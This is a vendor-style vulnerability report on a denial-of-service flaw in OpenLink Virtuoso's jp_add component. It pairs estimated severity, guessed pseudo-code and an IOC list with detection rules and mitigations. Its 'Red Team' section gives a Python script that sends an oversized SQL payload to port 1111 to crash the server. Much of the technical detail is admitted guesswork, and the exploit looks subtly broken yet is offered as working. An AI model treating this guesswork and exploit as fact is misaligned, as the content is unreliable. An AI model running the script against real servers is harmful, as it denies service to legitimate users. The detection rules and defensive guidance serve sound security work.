CVE-2024-57651
Executive Summary
CVE-2024-57651 is a denial-of-service (DoS) vulnerability in the jp_add component of OpenLink Virtuoso Open-Source version 7.2.11. An attacker can exploit this flaw by sending crafted SQL statements, causing the database server to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (pending analysis) and no public proof-of-concept (PoC) or patch is currently available. This report provides a deep technical analysis, detection guidance, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the OpenLink Virtuoso Open-Source package, which is a high-performance database engine often used in enterprise environments. The lack of a patch and the nature of the flaw (DoS via SQL injection) pose a significant risk to availability. Organizations using Virtuoso should monitor for updates and apply strict input validation.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0, indicating that the NVD has not yet assigned a severity rating. Based on the description, the likely vector would be:
- Attack Vector (AV): Network (N) – the attack can be launched remotely.
- Attack Complexity (AC): Low (L) – no special conditions are required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – no data exposure.
- Integrity (I): None (N) – no data modification.
- Availability (A): High (H) – complete loss of availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High (due to remote, unauthenticated DoS potential).
Deep Dive & Mechanics
The vulnerability resides in the jp_add component of Virtuoso. This component likely handles SQL query parsing or execution for a specific feature (possibly related to JSON processing or stored procedures). The flaw is triggered by crafted SQL statements that cause an infinite loop, memory exhaustion, or a null pointer dereference, leading to a crash.
Technical Root Cause:
- The
jp_addfunction fails to properly validate or sanitize input parameters within SQL statements. - An attacker can inject specially crafted SQL syntax that causes the parser to enter an unexpected state, consuming excessive CPU or memory.
- The DoS is achieved without requiring authentication, making it exploitable from the network.
Attack Flow:
- Attacker identifies a Virtuoso instance (e.g., via Shodan).
- Attacker sends a malicious SQL query to the server (e.g., via the SQL endpoint or a web interface).
- The
jp_addcomponent processes the query, triggering the vulnerability. - The server becomes unresponsive or crashes, denying service to legitimate users.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, the vulnerable code likely resembles:
// Vulnerable pseudo-code in jp_add
void jp_add(sql_query *query) {
char *input = query->get_param("input");
// No bounds checking or validation
process_json(input); // Could cause infinite loop or crash
}
A patched version would include input validation and error handling:
// Patched pseudo-code
void jp_add(sql_query *query) {
char *input = query->get_param("input");
if (input == NULL || strlen(input) > MAX_INPUT_LEN) {
return SQL_ERROR;
}
if (!is_valid_json(input)) {
return SQL_ERROR;
}
process_json(input);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install Virtuoso Open-Source 7.2.11 on a Linux VM.
- Expose the SQL endpoint (default port 1111).
- Use a tool like
isqlor a custom Python script to send crafted queries.
Exploit Script (Python):
import socket
def exploit(target_ip, target_port=1111):
# Crafted SQL statement to trigger DoS
payload = "EXEC jp_add('{\"key\": \"' + REPLICATE('A', 10000) + '\"}')"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload.encode())
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Expected Outcome: The Virtuoso server crashes or becomes unresponsive.
Blue Team (Detection & Response)
Detection Steps:
- Monitor for unusual SQL queries containing long strings or unexpected JSON structures.
- Set up alerts for server crashes or high CPU/memory usage.
- Use the detection rules below.
Response:
- Isolate the affected server.
- Restart the Virtuoso service.
- Apply network-level filtering to block malicious SQL queries.
Indicators of Compromise (IOCs)
- Network IOCs:
- SQL queries containing
jp_addwith excessively long or malformed JSON. - Repeated connections to port 1111 from unknown IPs.
- SQL queries containing
- System IOCs:
- Virtuoso process crash logs (e.g.,
virtuoso-tcore dumps). - High CPU or memory usage in
virtuoso-tprocess.
- Virtuoso process crash logs (e.g.,
- File IOCs:
- Log entries in
/var/lib/virtuoso/db/virtuoso.logshowing errors related tojp_add.
- Log entries in
Detection Engineering
YARA Rule
rule CVE_2024_57651_Virtuoso_DoS {
meta:
description = "Detects SQL queries targeting CVE-2024-57651 in Virtuoso"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-57651"
strings:
$jp_add = "jp_add" nocase
$json_payload = /\{[^}]{1000,}\}/ // JSON with >1000 chars
condition:
$jp_add and $json_payload
}
Sigma Rule
title: CVE-2024-57651 Virtuoso DoS via jp_add
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL queries with jp_add and large JSON payloads
author: Valters IT
logsource:
category: application
product: virtuoso
detection:
selection:
Query|contains: "jp_add"
Query|re: '\{[^}]{1000,}\}'
condition: selection
falsepositives:
- Legitimate large JSON processing
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 1111 (msg:"CVE-2024-57651 Virtuoso DoS Attempt"; flow:to_server,established; content:"jp_add"; nocase; pcre:"/\{[^}]{1000,}\}/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Network Filtering: Restrict access to port 1111 to trusted IPs only.
- Input Validation: Use a reverse proxy or WAF to block SQL queries containing
jp_addwith large payloads. - Rate Limiting: Limit the number of SQL queries per IP.
Long-Term Remediation:
- Patch: Monitor the OpenLink website for a security patch. Apply as soon as available.
- Upgrade: Consider upgrading to a newer version of Virtuoso if a fix is released.
- Code Review: If using custom code, ensure all SQL inputs are validated.
Workaround:
- Disable the
jp_addfunction if not needed (e.g., via SQLREVOKE EXECUTE ON jp_add FROM PUBLIC).
Valters IT
Securing Digital Frontiers